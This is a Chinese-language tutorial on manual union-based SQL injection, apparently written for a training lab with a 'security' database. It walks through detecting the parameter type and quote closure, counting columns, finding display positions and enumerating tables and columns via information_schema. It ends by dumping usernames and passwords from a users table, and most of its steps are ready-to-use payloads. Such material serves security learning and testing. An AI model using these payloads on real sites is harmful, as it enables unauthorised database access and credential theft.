1.判断是字符型还是数字型
a. 构造payload为:id=1 order by 9999 --+
如果正确返回页面,则为字符型,否则,为数字型
b.构造payload:
数字型:?/ id=1 and 1=1 ?/ id=1 and 1=2 报错为数字型
字符型:?/ id=1' and 1=1--空abc ?/ id=1' and 1=2--空abc 报错为字符型,abc存在的意义就是防止空格被省略,所以可以为任何字母几个都可以
c.字符型SQL注入第一步判断闭合:
首先尝试:?id=1' 和 ?id=1"
1'和1" 如果都报错,则为整形闭合。如果单引号报错,双引号不报错。
然后尝试?id=1'–+无报错则单引号闭合。报错则单引号加括号。
3如果单引号不报错,双引号报错。
然后尝试 ?id=1"–+
无报错则双引号闭合。报错则双引号加括号,多层括号同理
闭合方式:单引号',双引号",单引号+括号'),双引号+括号"),单引号+双括号')),双引号+双括号")),
2、确定是否有注入点
?id=1 and 1=1#--空a和?id=1 and 1=2#--空a
and 1=1#是验证是否有注入点 and 1=2#来确定是不是一定有注入点。
3、确定字段个数
?id=1 order by N--空a
从1到N一个一个尝试直到报错确定个数为N-1。
4、查找显示位
?id=-1 union select 1,2,3--空a
此处需要把id设置位不存在的值的目的是为了union联合查询让出显示位。
这里的1,2,3代表N-1的个数,显示的数字说明第几个字段可以找显示位。
说明第二位和第三位都能找显示位
5、查出库
?id=-1 union select 1,2,database()--空a
找到显示位后查询database找到当前的库。
说明当前的库是security
6、查找库里的所有表
? id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='security'-- a
说明当前的库是security,里面有表emails
若觉得emails表里数据不重要,可通过group_concat(将所有的结果进行拼接展示)和limit(限制查询结果的行数),建议使用limit,因为如果网站源码设的显示位数少,那使用group_concat会导致表名显示不全,若使用显示不全的表,会导致库中无此表情况出现。
id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'-- a
id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='security' limit 0,1-- a
limit显示第一张表为limit 0,1;显示第二张表为limit 1,1;显示第三张表为limit 2,1;显示第四张表为limit 3,1........
7、查找某表里的所有列
id=-1' union select 1,database(),column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1-- a
用limit一个个查,发现存在三列,分别是id,username,password
8、脱库
id=-1' union select 1,2,username from users limit 0,1-- a
也可用group_concat查询库中数据